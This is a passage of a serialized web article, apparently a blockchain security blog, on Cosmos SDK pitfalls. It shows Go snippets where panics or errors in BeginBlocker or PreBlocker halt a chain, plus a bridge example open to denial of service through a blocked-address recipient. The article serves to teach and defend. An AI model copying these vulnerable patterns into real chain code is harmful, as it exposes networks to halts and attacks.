%T\"",{"type":25,"tag":201,"props":82022,"children":82023},{"style":220},[82024],{"type":31,"value":919},{"type":25,"tag":201,"props":82026,"children":82027},{"style":246},[82028],{"type":31,"value":80265},{"type":25,"tag":201,"props":82030,"children":82031},{"style":220},[82032],{"type":31,"value":8245},{"type":25,"tag":201,"props":82034,"children":82036},{"class":203,"line":82035},53,[82037,82042],{"type":25,"tag":201,"props":82038,"children":82039},{"style":267},[82040],{"type":31,"value":82041},"                \"transaction is not an SDK tx\"",{"type":25,"tag":201,"props":82043,"children":82044},{"style":220},[82045],{"type":31,"value":547},{"type":25,"tag":201,"props":82047,"children":82049},{"class":203,"line":82048},54,[82050],{"type":25,"tag":201,"props":82051,"children":82052},{"style":220},[82053],{"type":31,"value":78599},{"type":25,"tag":201,"props":82055,"children":82057},{"class":203,"line":82056},55,[82058],{"type":25,"tag":201,"props":82059,"children":82060},{"style":220},[82061],{"type":31,"value":4853},{"type":25,"tag":201,"props":82063,"children":82065},{"class":203,"line":82064},56,[82066],{"type":25,"tag":201,"props":82067,"children":82068},{"emptyLinePlaceholder":17},[82069],{"type":31,"value":496},{"type":25,"tag":201,"props":82071,"children":82073},{"class":203,"line":82072},57,[82074,82078,82082,82086,82090,82094,82098,82102,82106],{"type":25,"tag":201,"props":82075,"children":82076},{"style":230},[82077],{"type":31,"value":17239},{"type":25,"tag":201,"props":82079,"children":82080},{"style":214},[82081],{"type":31,"value":81207},{"type":25,"tag":201,"props":82083,"children":82084},{"style":220},[82085],{"type":31,"value":298},{"type":25,"tag":201,"props":82087,"children":82088},{"style":246},[82089],{"type":31,"value":21777},{"type":25,"tag":201,"props":82091,"children":82092},{"style":220},[82093],{"type":31,"value":919},{"type":25,"tag":201,"props":82095,"children":82096},{"style":246},[82097],{"type":31,"value":80265},{"type":25,"tag":201,"props":82099,"children":82100},{"style":220},[82101],{"type":31,"value":919},{"type":25,"tag":201,"props":82103,"children":82104},{"style":246},[82105],{"type":31,"value":81145},{"type":25,"tag":201,"props":82107,"children":82108},{"style":220},[82109],{"type":31,"value":4666},{"type":25,"tag":201,"props":82111,"children":82113},{"class":203,"line":82112},58,[82114],{"type":25,"tag":201,"props":82115,"children":82116},{"style":220},[82117],{"type":31,"value":4861},{"type":25,"tag":201,"props":82119,"children":82121},{"class":203,"line":82120},59,[82122],{"type":25,"tag":201,"props":82123,"children":82124},{"style":220},[82125],{"type":31,"value":1187},{"type":25,"tag":34,"props":82127,"children":82128},{},[82129,82131,82136,82138,82145,82146,82153],{"type":31,"value":82130},"Additional examples of incorrect ",{"type":25,"tag":115,"props":82132,"children":82134},{"className":82133},[],[82135],{"type":31,"value":79554},{"type":31,"value":82137}," usage include ",{"type":25,"tag":71,"props":82139,"children":82142},{"href":82140,"rel":82141},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[75],[82143],{"type":31,"value":82144},"yet more bypassable checks and loss of funds",{"type":31,"value":12493},{"type":25,"tag":71,"props":82147,"children":82150},{"href":82148,"rel":82149},"https://github.com/cosmos/ibc-go/issues/853",[75],[82151],{"type":31,"value":82152},"incorrect data passing between blockchains",{"type":31,"value":80},{"type":25,"tag":26,"props":82155,"children":82157},{"id":82156},"errors-panics-i-can-handle-it",[82158],{"type":31,"value":82159},"Errors? Panics? I can handle it",{"type":25,"tag":34,"props":82161,"children":82162},{},[82163],{"type":31,"value":82164},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":25,"tag":34,"props":82166,"children":82167},{},[82168],{"type":31,"value":82169},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":25,"tag":34,"props":82171,"children":82172},{},[82173,82175,82181,82183,82188],{"type":31,"value":82174},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":25,"tag":115,"props":82176,"children":82178},{"className":82177},[],[82179],{"type":31,"value":82180},"k.keeper.TotalReward()",{"type":31,"value":82182}," returns zero, the ",{"type":25,"tag":115,"props":82184,"children":82186},{"className":82185},[],[82187],{"type":31,"value":59025},{"type":31,"value":82189}," execution will simply rollback as if nothing has happened.",{"type":25,"tag":191,"props":82191,"children":82193},{"code":82192,"language":77248,"meta":7,"className":77249,"style":7},"func (k msgServer) AllocateReward(\n    goCtx context.Context,\n    msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n    RewardPerShare := k.keeper.Shares() /  k.keeper.TotalReward()\n    k.keeper.DistributeReward(RewardPerShare)\n\n    return &types.MsgAllocateRewardResponse, nil\n}\n",[82194],{"type":25,"tag":115,"props":82195,"children":82196},{"__ignoreMap":7},[82197,82230,82253,82281,82317,82324,82393,82431,82438,82470],{"type":25,"tag":201,"props":82198,"children":82199},{"class":203,"line":204},[82200,82204,82208,82213,82217,82221,82226],{"type":25,"tag":201,"props":82201,"children":82202},{"style":208},[82203],{"type":31,"value":77384},{"type":25,"tag":201,"props":82205,"children":82206},{"style":220},[82207],{"type":31,"value":238},{"type":25,"tag":201,"props":82209,"children":82210},{"style":246},[82211],{"type":31,"value":82212},"k ",{"type":25,"tag":201,"props":82214,"children":82215},{"style":4925},[82216],{"type":31,"value":77398},{"type":25,"tag":201,"props":82218,"children":82219},{"style":220},[82220],{"type":31,"value":385},{"type":25,"tag":201,"props":82222,"children":82223},{"style":214},[82224],{"type":31,"value":82225},"AllocateReward",{"type":25,"tag":201,"props":82227,"children":82228},{"style":220},[82229],{"type":31,"value":4970},{"type":25,"tag":201,"props":82231,"children":82232},{"class":203,"line":226},[82233,82237,82241,82245,82249],{"type":25,"tag":201,"props":82234,"children":82235},{"style":246},[82236],{"type":31,"value":77419},{"type":25,"tag":201,"props":82238,"children":82239},{"style":4925},[82240],{"type":31,"value":77424},{"type":25,"tag":201,"props":82242,"children":82243},{"style":220},[82244],{"type":31,"value":80},{"type":25,"tag":201,"props":82246,"children":82247},{"style":4925},[82248],{"type":31,"value":77433},{"type":25,"tag":201,"props":82250,"children":82251},{"style":220},[82252],{"type":31,"value":547},{"type":25,"tag":201,"props":82254,"children":82255},{"class":203,"line":278},[82256,82260,82264,82268,82272,82277],{"type":25,"tag":201,"props":82257,"children":82258},{"style":246},[82259],{"type":31,"value":77445},{"type":25,"tag":201,"props":82261,"children":82262},{"style":261},[82263],{"type":31,"value":11319},{"type":25,"tag":201,"props":82265,"children":82266},{"style":4925},[82267],{"type":31,"value":7268},{"type":25,"tag":201,"props":82269,"children":82270},{"style":220},[82271],{"type":31,"value":80},{"type":25,"tag":201,"props":82273,"children":82274},{"style":4925},[82275],{"type":31,"value":82276},"MsgAllocateReward",{"type":25,"tag":201,"props":82278,"children":82279},{"style":220},[82280],{"type":31,"value":4666},{"type":25,"tag":201,"props":82282,"children":82283},{"class":203,"line":311},[82284,82288,82292,82296,82300,82305,82309,82313],{"type":25,"tag":201,"props":82285,"children":82286},{"style":220},[82287],{"type":31,"value":298},{"type":25,"tag":201,"props":82289,"children":82290},{"style":261},[82291],{"type":31,"value":6077},{"type":25,"tag":201,"props":82293,"children":82294},{"style":4925},[82295],{"type":31,"value":7268},{"type":25,"tag":201,"props":82297,"children":82298},{"style":220},[82299],{"type":31,"value":80},{"type":25,"tag":201,"props":82301,"children":82302},{"style":4925},[82303],{"type":31,"value":82304},"MsgAllocatRewardResponse",{"type":25,"tag":201,"props":82306,"children":82307},{"style":220},[82308],{"type":31,"value":919},{"type":25,"tag":201,"props":82310,"children":82311},{"style":4925},[82312],{"type":31,"value":293},{"type":25,"tag":201,"props":82314,"children":82315},{"style":220},[82316],{"type":31,"value":275},{"type":25,"tag":201,"props":82318,"children":82319},{"class":203,"line":330},[82320],{"type":25,"tag":201,"props":82321,"children":82322},{"emptyLinePlaceholder":17},[82323],{"type":31,"value":496},{"type":25,"tag":201,"props":82325,"children":82326},{"class":203,"line":397},[82327,82332,82336,82341,82345,82350,82354,82359,82363,82367,82372,82376,82380,82384,82389],{"type":25,"tag":201,"props":82328,"children":82329},{"style":246},[82330],{"type":31,"value":82331},"    RewardPerShare",{"type":25,"tag":201,"props":82333,"children":82334},{"style":261},[82335],{"type":31,"value":77500},{"type":25,"tag":201,"props":82337,"children":82338},{"style":246},[82339],{"type":31,"value":82340}," k",{"type":25,"tag":201,"props":82342,"children":82343},{"style":220},[82344],{"type":31,"value":80},{"type":25,"tag":201,"props":82346,"children":82347},{"style":246},[82348],{"type":31,"value":82349},"keeper",{"type":25,"tag":201,"props":82351,"children":82352},{"style":220},[82353],{"type":31,"value":80},{"type":25,"tag":201,"props":82355,"children":82356},{"style":214},[82357],{"type":31,"value":82358},"Shares",{"type":25,"tag":201,"props":82360,"children":82361},{"style":220},[82362],{"type":31,"value":15545},{"type":25,"tag":201,"props":82364,"children":82365},{"style":261},[82366],{"type":31,"value":6087},{"type":25,"tag":201,"props":82368,"children":82369},{"style":246},[82370],{"type":31,"value":82371},"  k",{"type":25,"tag":201,"props":82373,"children":82374},{"style":220},[82375],{"type":31,"value":80},{"type":25,"tag":201,"props":82377,"children":82378},{"style":246},[82379],{"type":31,"value":82349},{"type":25,"tag":201,"props":82381,"children":82382},{"style":220},[82383],{"type":31,"value":80},{"type":25,"tag":201,"props":82385,"children":82386},{"style":214},[82387],{"type":31,"value":82388},"TotalReward",{"type":25,"tag":201,"props":82390,"children":82391},{"style":220},[82392],{"type":31,"value":1882},{"type":25,"tag":201,"props":82394,"children":82395},{"class":203,"line":437},[82396,82401,82405,82409,82413,82418,82422,82427],{"type":25,"tag":201,"props":82397,"children":82398},{"style":246},[82399],{"type":31,"value":82400},"    k",{"type":25,"tag":201,"props":82402,"children":82403},{"style":220},[82404],{"type":31,"value":80},{"type":25,"tag":201,"props":82406,"children":82407},{"style":246},[82408],{"type":31,"value":82349},{"type":25,"tag":201,"props":82410,"children":82411},{"style":220},[82412],{"type":31,"value":80},{"type":25,"tag":201,"props":82414,"children":82415},{"style":214},[82416],{"type":31,"value":82417},"DistributeReward",{"type":25,"tag":201,"props":82419,"children":82420},{"style":220},[82421],{"type":31,"value":298},{"type":25,"tag":201,"props":82423,"children":82424},{"style":246},[82425],{"type":31,"value":82426},"RewardPerShare",{"type":25,"tag":201,"props":82428,"children":82429},{"style":220},[82430],{"type":31,"value":4666},{"type":25,"tag":201,"props":82432,"children":82433},{"class":203,"line":464},[82434],{"type":25,"tag":201,"props":82435,"children":82436},{"emptyLinePlaceholder":17},[82437],{"type":31,"value":496},{"type":25,"tag":201,"props":82439,"children":82440},{"class":203,"line":490},[82441,82445,82449,82453,82457,82462,82466],{"type":25,"tag":201,"props":82442,"children":82443},{"style":230},[82444],{"type":31,"value":18486},{"type":25,"tag":201,"props":82446,"children":82447},{"style":261},[82448],{"type":31,"value":8650},{"type":25,"tag":201,"props":82450,"children":82451},{"style":246},[82452],{"type":31,"value":7268},{"type":25,"tag":201,"props":82454,"children":82455},{"style":220},[82456],{"type":31,"value":80},{"type":25,"tag":201,"props":82458,"children":82459},{"style":246},[82460],{"type":31,"value":82461},"MsgAllocateRewardResponse",{"type":25,"tag":201,"props":82463,"children":82464},{"style":220},[82465],{"type":31,"value":919},{"type":25,"tag":201,"props":82467,"children":82468},{"style":208},[82469],{"type":31,"value":77726},{"type":25,"tag":201,"props":82471,"children":82472},{"class":203,"line":499},[82473],{"type":25,"tag":201,"props":82474,"children":82475},{"style":220},[82476],{"type":31,"value":1187},{"type":25,"tag":34,"props":82478,"children":82479},{},[82480,82482,82488,82489,82495,82496,82502,82504,82509],{"type":31,"value":82481},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":25,"tag":115,"props":82483,"children":82485},{"className":82484},[],[82486],{"type":31,"value":82487},"PreBlocker",{"type":31,"value":919},{"type":25,"tag":115,"props":82490,"children":82492},{"className":82491},[],[82493],{"type":31,"value":82494},"BeginBlocker",{"type":31,"value":7996},{"type":25,"tag":115,"props":82497,"children":82499},{"className":82498},[],[82500],{"type":31,"value":82501},"EndBlocker",{"type":31,"value":82503},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":25,"tag":115,"props":82505,"children":82507},{"className":82506},[],[82508],{"type":31,"value":82494},{"type":31,"value":82510}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":25,"tag":191,"props":82512,"children":82514},{"code":82513,"language":77248,"meta":7,"className":77249,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n    RewardPerShare := keeper.Shares() /  keeper.TotalReward()\n    keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[82515],{"type":25,"tag":115,"props":82516,"children":82517},{"__ignoreMap":7},[82518,82583,82590,82638,82666,82673,82685],{"type":25,"tag":201,"props":82519,"children":82520},{"class":203,"line":204},[82521,82525,82530,82534,82538,82542,82546,82550,82554,82558,82563,82567,82571,82575,82579],{"type":25,"tag":201,"props":82522,"children":82523},{"style":208},[82524],{"type":31,"value":77384},{"type":25,"tag":201,"props":82526,"children":82527},{"style":214},[82528],{"type":31,"value":82529}," BeginBlocker",{"type":25,"tag":201,"props":82531,"children":82532},{"style":220},[82533],{"type":31,"value":298},{"type":25,"tag":201,"props":82535,"children":82536},{"style":246},[82537],{"type":31,"value":21777},{"type":25,"tag":201,"props":82539,"children":82540},{"style":4925},[82541],{"type":31,"value":77424},{"type":25,"tag":201,"props":82543,"children":82544},{"style":220},[82545],{"type":31,"value":80},{"type":25,"tag":201,"props":82547,"children":82548},{"style":4925},[82549],{"type":31,"value":77433},{"type":25,"tag":201,"props":82551,"children":82552},{"style":220},[82553],{"type":31,"value":919},{"type":25,"tag":201,"props":82555,"children":82556},{"style":246},[82557],{"type":31,"value":82349},{"type":25,"tag":201,"props":82559,"children":82560},{"style":4925},[82561],{"type":31,"value":82562}," keeper",{"type":25,"tag":201,"props":82564,"children":82565},{"style":220},[82566],{"type":31,"value":80},{"type":25,"tag":201,"props":82568,"children":82569},{"style":4925},[82570],{"type":31,"value":81029},{"type":25,"tag":201,"props":82572,"children":82573},{"style":220},[82574],{"type":31,"value":385},{"type":25,"tag":201,"props":82576,"children":82577},{"style":4925},[82578],{"type":31,"value":293},{"type":25,"tag":201,"props":82580,"children":82581},{"style":220},[82582],{"type":31,"value":327},{"type":25,"tag":201,"props":82584,"children":82585},{"class":203,"line":226},[82586],{"type":25,"tag":201,"props":82587,"children":82588},{"emptyLinePlaceholder":17},[82589],{"type":31,"value":496},{"type":25,"tag":201,"props":82591,"children":82592},{"class":203,"line":278},[82593,82597,82601,82605,82609,82613,82617,82621,82626,82630,82634],{"type":25,"tag":201,"props":82594,"children":82595},{"style":246},[82596],{"type":31,"value":82331},{"type":25,"tag":201,"props":82598,"children":82599},{"style":261},[82600],{"type":31,"value":77500},{"type":25,"tag":201,"props":82602,"children":82603},{"style":246},[82604],{"type":31,"value":82562},{"type":25,"tag":201,"props":82606,"children":82607},{"style":220},[82608],{"type":31,"value":80},{"type":25,"tag":201,"props":82610,"children":82611},{"style":214},[82612],{"type":31,"value":82358},{"type":25,"tag":201,"props":82614,"children":82615},{"style":220},[82616],{"type":31,"value":15545},{"type":25,"tag":201,"props":82618,"children":82619},{"style":261},[82620],{"type":31,"value":6087},{"type":25,"tag":201,"props":82622,"children":82623},{"style":246},[82624],{"type":31,"value":82625},"  keeper",{"type":25,"tag":201,"props":82627,"children":82628},{"style":220},[82629],{"type":31,"value":80},{"type":25,"tag":201,"props":82631,"children":82632},{"style":214},[82633],{"type":31,"value":82388},{"type":25,"tag":201,"props":82635,"children":82636},{"style":220},[82637],{"type":31,"value":1882},{"type":25,"tag":201,"props":82639,"children":82640},{"class":203,"line":311},[82641,82646,82650,82654,82658,82662],{"type":25,"tag":201,"props":82642,"children":82643},{"style":246},[82644],{"type":31,"value":82645},"    keeper",{"type":25,"tag":201,"props":82647,"children":82648},{"style":220},[82649],{"type":31,"value":80},{"type":25,"tag":201,"props":82651,"children":82652},{"style":214},[82653],{"type":31,"value":82417},{"type":25,"tag":201,"props":82655,"children":82656},{"style":220},[82657],{"type":31,"value":298},{"type":25,"tag":201,"props":82659,"children":82660},{"style":246},[82661],{"type":31,"value":82426},{"type":25,"tag":201,"props":82663,"children":82664},{"style":220},[82665],{"type":31,"value":4666},{"type":25,"tag":201,"props":82667,"children":82668},{"class":203,"line":330},[82669],{"type":25,"tag":201,"props":82670,"children":82671},{"emptyLinePlaceholder":17},[82672],{"type":31,"value":496},{"type":25,"tag":201,"props":82674,"children":82675},{"class":203,"line":397},[82676,82680],{"type":25,"tag":201,"props":82677,"children":82678},{"style":230},[82679],{"type":31,"value":53944},{"type":25,"tag":201,"props":82681,"children":82682},{"style":208},[82683],{"type":31,"value":82684}," nil\n",{"type":25,"tag":201,"props":82686,"children":82687},{"class":203,"line":437},[82688],{"type":25,"tag":201,"props":82689,"children":82690},{"style":220},[82691],{"type":31,"value":1187},{"type":25,"tag":40,"props":82693,"children":82695},{"id":82694},"real-world-examples-3",[82696],{"type":31,"value":77773},{"type":25,"tag":34,"props":82698,"children":82699},{},[82700],{"type":31,"value":82701},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":25,"tag":34,"props":82703,"children":82704},{},[82705,82707,82713,82715,82720,82722,82728,82730,82736,82738,82744],{"type":31,"value":82706},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":25,"tag":115,"props":82708,"children":82710},{"className":82709},[],[82711],{"type":31,"value":82712},"bankKeeper.SendCoinsFromModuleToAccount",{"type":31,"value":82714}," will be bubbled up through ",{"type":25,"tag":115,"props":82716,"children":82718},{"className":82717},[],[82719],{"type":31,"value":82487},{"type":31,"value":82721}," and halt the chain. It turns out an attacker can force ",{"type":25,"tag":115,"props":82723,"children":82725},{"className":82724},[],[82726],{"type":31,"value":82727},"SendCoinsFromModuleToAccount",{"type":31,"value":82729}," to return an error by setting ",{"type":25,"tag":115,"props":82731,"children":82733},{"className":82732},[],[82734],{"type":31,"value":82735},"recipient",{"type":31,"value":82737}," to some ",{"type":25,"tag":115,"props":82739,"children":82741},{"className":82740},[],[82742],{"type":31,"value":82743},"BlockedAddr",{"type":31,"value":82745},",rendering the code susceptible to DoS attacks.",{"type":25,"tag":34,"props":82747,"children":82748},{},[82749],{"type":25,"tag":71,"props":82750,"children":82753},{"href":82751,"rel":82752},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[75],[82754],{"type":31,"value":77823},{"type":25,"tag":191,"props":82756,"children":82758},{"code":82757,"language":77248,"meta":7,"className":77249,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n    return func(\n        ctx sdk.Context,\n        req *cmtabci.RequestFinalizeBlock,\n    ) (*sdk.ResponsePreBlock, error) {\n        ...\n        err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n        if err != nil {\n            return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n        }\n        ...\n    }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n    ctx sdk.Context,\n    events types.AssetsLockedEvents,\n) error {\n    ...\n    for _, event := range events {\n        recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n        if err != nil {\n            return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n        }\n\n        if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n            err = k.mintBTC(ctx, recipient, event.Amount)\n            if err != nil {\n                return fmt.Errorf(\n                    \"failed to mint BTC for event %v: %w\",\n                    event.Sequence,\n                    err,\n                )\n            }\n        } else {\n            ...\n        }\n    }\n    ...\n}\n\nfunc (k Keeper) mintBTC(\n    ctx sdk.Context,\n    recipient sdk.AccAddress,\n    amount math.Int,\n) error {\n    ...\n    err = k.bankKeeper.SendCoinsFromModuleToAccount(\n        ctx,\n        types.ModuleName,\n        recipient,\n        coins,\n    )\n    if err != nil {\n        return fmt.Errorf(\"failed to send coins: %w\", err)\n    }\n    ...\n}\n",[82759],{"type":25,"tag":115,"props":82760,"children":82761},{"__ignoreMap":7},[82762,82815,82830,82853,82883,82919,82927,82983,83007,83057,83064,83071,83078,83085,83092,83123,83146,83171,83186,83193,83230,83284,83307,83348,83355,83362,83413,83474,83497,83520,83532,83553,83565,83573,83580,83595,83603,83610,83617,83624,83631,83638,83669,83692,83717,83742,83757,83764,83801,83812,83833,83844,83856,83863,83886,83926,83933,83940],{"type":25,"tag":201,"props":82763,"children":82764},{"class":203,"line":204},[82765,82769,82773,82778,82782,82787,82791,82795,82799,82803,82807,82811],{"type":25,"tag":201,"props":82766,"children":82767},{"style":208},[82768],{"type":31,"value":77384},{"type":25,"tag":201,"props":82770,"children":82771},{"style":220},[82772],{"type":31,"value":238},{"type":25,"tag":201,"props":82774,"children":82775},{"style":246},[82776],{"type":31,"value":82777},"pbh ",{"type":25,"tag":201,"props":82779,"children":82780},{"style":261},[82781],{"type":31,"value":6077},{"type":25,"tag":201,"props":82783,"children":82784},{"style":4925},[82785],{"type":31,"value":82786},"PreBlockHandler",{"type":25,"tag":201,"props":82788,"children":82789},{"style":220},[82790],{"type":31,"value":385},{"type":25,"tag":201,"props":82792,"children":82793},{"style":214},[82794],{"type":31,"value":82487},{"type":25,"tag":201,"props":82796,"children":82797},{"style":220},[82798],{"type":31,"value":15545},{"type":25,"tag":201,"props":82800,"children":82801},{"style":4925},[82802],{"type":31,"value":79814},{"type":25,"tag":201,"props":82804,"children":82805},{"style":220},[82806],{"type":31,"value":80},{"type":25,"tag":201,"props":82808,"children":82809},{"style":4925},[82810],{"type":31,"value":82487},{"type":25,"tag":201,"props":82812,"children":82813},{"style":220},[82814],{"type":31,"value":327},{"type":25,"tag":201,"props":82816,"children":82817},{"class":203,"line":226},[82818,82822,82826],{"type":25,"tag":201,"props":82819,"children":82820},{"style":230},[82821],{"type":31,"value":18486},{"type":25,"tag":201,"props":82823,"children":82824},{"style":208},[82825],{"type":31,"value":81093},{"type":25,"tag":201,"props":82827,"children":82828},{"style":220},[82829],{"type":31,"value":4970},{"type":25,"tag":201,"props":82831,"children":82832},{"class":203,"line":278},[82833,82837,82841,82845,82849],{"type":25,"tag":201,"props":82834,"children":82835},{"style":246},[82836],{"type":31,"value":27670},{"type":25,"tag":201,"props":82838,"children":82839},{"style":4925},[82840],{"type":31,"value":79725},{"type":25,"tag":201,"props":82842,"children":82843},{"style":220},[82844],{"type":31,"value":80},{"type":25,"tag":201,"props":82846,"children":82847},{"style":4925},[82848],{"type":31,"value":77433},{"type":25,"tag":201,"props":82850,"children":82851},{"style":220},[82852],{"type":31,"value":547},{"type":25,"tag":201,"props":82854,"children":82855},{"class":203,"line":311},[82856,82861,82865,82870,82874,82879],{"type":25,"tag":201,"props":82857,"children":82858},{"style":246},[82859],{"type":31,"value":82860},"        req",{"type":25,"tag":201,"props":82862,"children":82863},{"style":261},[82864],{"type":31,"value":11319},{"type":25,"tag":201,"props":82866,"children":82867},{"style":4925},[82868],{"type":31,"value":82869},"cmtabci",{"type":25,"tag":201,"props":82871,"children":82872},{"style":220},[82873],{"type":31,"value":80},{"type":25,"tag":201,"props":82875,"children":82876},{"style":4925},[82877],{"type":31,"value":82878},"RequestFinalizeBlock",{"type":25,"tag":201,"props":82880,"children":82881},{"style":220},[82882],{"type":31,"value":547},{"type":25,"tag":201,"props":82884,"children":82885},{"class":203,"line":330},[82886,82890,82894,82898,82902,82907,82911,82915],{"type":25,"tag":201,"props":82887,"children":82888},{"style":220},[82889],{"type":31,"value":81161},{"type":25,"tag":201,"props":82891,"children":82892},{"style":261},[82893],{"type":31,"value":6077},{"type":25,"tag":201,"props":82895,"children":82896},{"style":4925},[82897],{"type":31,"value":79814},{"type":25,"tag":201,"props":82899,"children":82900},{"style":220},[82901],{"type":31,"value":80},{"type":25,"tag":201,"props":82903,"children":82904},{"style":4925},[82905],{"type":31,"value":82906},"ResponsePreBlock",{"type":25,"tag":201,"props":82908,"children":82909},{"style":220},[82910],{"type":31,"value":919},{"type":25,"tag":201,"props":82912,"children":82913},{"style":4925},[82914],{"type":31,"value":293},{"type":25,"tag":201,"props":82916,"children":82917},{"style":220},[82918],{"type":31,"value":275},{"type":25,"tag":201,"props":82920,"children":82921},{"class":203,"line":397},[82922],{"type":25,"tag":201,"props":82923,"children":82924},{"style":261},[82925],{"type":31,"value":82926},"        ...\n",{"type":25,"tag":201,"props":82928,"children":82929},{"class":203,"line":437},[82930,82935,82939,82944,82948,82953,82957,82962,82966,82970,82974,82979],{"type":25,"tag":201,"props":82931,"children":82932},{"style":246},[82933],{"type":31,"value":82934},"        err",{"type":25,"tag":201,"props":82936,"children":82937},{"style":261},[82938],{"type":31,"value":77500},{"type":25,"tag":201,"props":82940,"children":82941},{"style":246},[82942],{"type":31,"value":82943}," pbh",{"type":25,"tag":201,"props":82945,"children":82946},{"style":220},[82947],{"type":31,"value":80},{"type":25,"tag":201,"props":82949,"children":82950},{"style":246},[82951],{"type":31,"value":82952},"bridgeKeeper",{"type":25,"tag":201,"props":82954,"children":82955},{"style":220},[82956],{"type":31,"value":80},{"type":25,"tag":201,"props":82958,"children":82959},{"style":214},[82960],{"type":31,"value":82961},"AcceptAssetsLocked",{"type":25,"tag":201,"props":82963,"children":82964},{"style":220},[82965],{"type":31,"value":298},{"type":25,"tag":201,"props":82967,"children":82968},{"style":246},[82969],{"type":31,"value":21777},{"type":25,"tag":201,"props":82971,"children":82972},{"style":220},[82973],{"type":31,"value":919},{"type":25,"tag":201,"props":82975,"children":82976},{"style":246},[82977],{"type":31,"value":82978},"events",{"type":25,"tag":201,"props":82980,"children":82981},{"style":220},[82982],{"type":31,"value":4666},{"type":25,"tag":201,"props":82984,"children":82985},{"class":203,"line":464},[82986,82990,82994,82998,83003],{"type":25,"tag":201,"props":82987,"children":82988},{"style":230},[82989],{"type":31,"value":4779},{"type":25,"tag":201,"props":82991,"children":82992},{"style":246},[82993],{"type":31,"value":49598},{"type":25,"tag":201,"props":82995,"children":82996},{"style":261},[82997],{"type":31,"value":65467},{"type":25,"tag":201,"props":82999,"children":83000},{"style":208},[83001],{"type":31,"value":83002}," nil",{"type":25,"tag":201,"props":83004,"children":83005},{"style":220},[83006],{"type":31,"value":327},{"type":25,"tag":201,"props":83008,"children":83009},{"class":203,"line":490},[83010,83014,83018,83022,83027,83031,83036,83040,83045,83049,83053],{"type":25,"tag":201,"props":83011,"children":83012},{"style":230},[83013],{"type":31,"value":80160},{"type":25,"tag":201,"props":83015,"children":83016},{"style":208},[83017],{"type":31,"value":83002},{"type":25,"tag":201,"props":83019,"children":83020},{"style":220},[83021],{"type":31,"value":919},{"type":25,"tag":201,"props":83023,"children":83024},{"style":246},[83025],{"type":31,"value":83026},"fmt",{"type":25,"tag":201,"props":83028,"children":83029},{"style":220},[83030],{"type":31,"value":80},{"type":25,"tag":201,"props":83032,"children":83033},{"style":214},[83034],{"type":31,"value":83035},"Errorf",{"type":25,"tag":201,"props":83037,"children":83038},{"style":220},[83039],{"type":31,"value":298},{"type":25,"tag":201,"props":83041,"children":83042},{"style":267},[83043],{"type":31,"value":83044},"\"cannot accept AssetsLocked events: %w\"",{"type":25,"tag":201,"props":83046,"children":83047},{"style":220},[83048],{"type":31,"value":919},{"type":25,"tag":201,"props":83050,"children":83051},{"style":246},[83052],{"type":31,"value":49497},{"type":25,"tag":201,"props":83054,"children":83055},{"style":220},[83056],{"type":31,"value":4666},{"type":25,"tag":201,"props":83058,"children":83059},{"class":203,"line":499},[83060],{"type":25,"tag":201,"props":83061,"children":83062},{"style":220},[83063],{"type":31,"value":4853},{"type":25,"tag":201,"props":83065,"children":83066},{"class":203,"line":522},[83067],{"type":25,"tag":201,"props":83068,"children":83069},{"style":261},[83070],{"type":31,"value":82926},{"type":25,"tag":201,"props":83072,"children":83073},{"class":203,"line":531},[83074],{"type":25,"tag":201,"props":83075,"children":83076},{"style":220},[83077],{"type":31,"value":4861},{"type":25,"tag":201,"props":83079,"children":83080},{"class":203,"line":550},[83081],{"type":25,"tag":201,"props":83082,"children":83083},{"style":220},[83084],{"type":31,"value":1187},{"type":25,"tag":201,"props":83086,"children":83087},{"class":203,"line":563},[83088],{"type":25,"tag":201,"props":83089,"children":83090},{"emptyLinePlaceholder":17},[83091],{"type":31,"value":496},{"type":25,"tag":201,"props":83093,"children":83094},{"class":203,"line":572},[83095,83099,83103,83107,83111,83115,83119],{"type":25,"tag":201,"props":83096,"children":83097},{"style":208},[83098],{"type":31,"value":77384},{"type":25,"tag":201,"props":83100,"children":83101},{"style":220},[83102],{"type":31,"value":238},{"type":25,"tag":201,"props":83104,"children":83105},{"style":246},[83106],{"type":31,"value":82212},{"type":25,"tag":201,"props":83108,"children":83109},{"style":4925},[83110],{"type":31,"value":81029},{"type":25,"tag":201,"props":83112,"children":83113},{"style":220},[83114],{"type":31,"value":385},{"type":25,"tag":201,"props":83116,"children":83117},{"style":214},[83118],{"type":31,"value":82961},{"type":25,"tag":201,"props":83120,"children":83121},{"style":220},[83122],{"type":31,"value":4970},{"type":25,"tag":201,"props":83124,"children":83125},{"class":203,"line":590},[83126,83130,83134,83138,83142],{"type":25,"tag":201,"props":83127,"children":83128},{"style":246},[83129],{"type":31,"value":21720},{"type":25,"tag":201,"props":83131,"children":83132},{"style":4925},[83133],{"type":31,"value":79725},{"type":25,"tag":201,"props":83135,"children":83136},{"style":220},[83137],{"type":31,"value":80},{"type":25,"tag":201,"props":83139,"children":83140},{"style":4925},[83141],{"type":31,"value":77433},{"type":25,"tag":201,"props":83143,"children":83144},{"